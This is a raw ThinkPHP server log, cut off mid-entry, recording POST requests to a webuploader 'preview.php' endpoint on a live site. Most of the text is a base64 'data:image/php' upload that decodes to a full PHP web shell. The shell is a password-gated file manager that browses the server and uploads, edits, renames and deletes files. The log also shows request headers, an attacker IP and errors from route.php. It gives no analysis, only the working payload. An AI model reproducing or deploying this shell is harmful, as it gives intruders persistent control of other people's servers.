'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:35+08:00 ] 116.213.36.234 POST www.51tianwei.com/public/admin/js/webuploader/0.1.5/server/preview.php [运行时间:0.002583s] [吞吐率:387.14req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 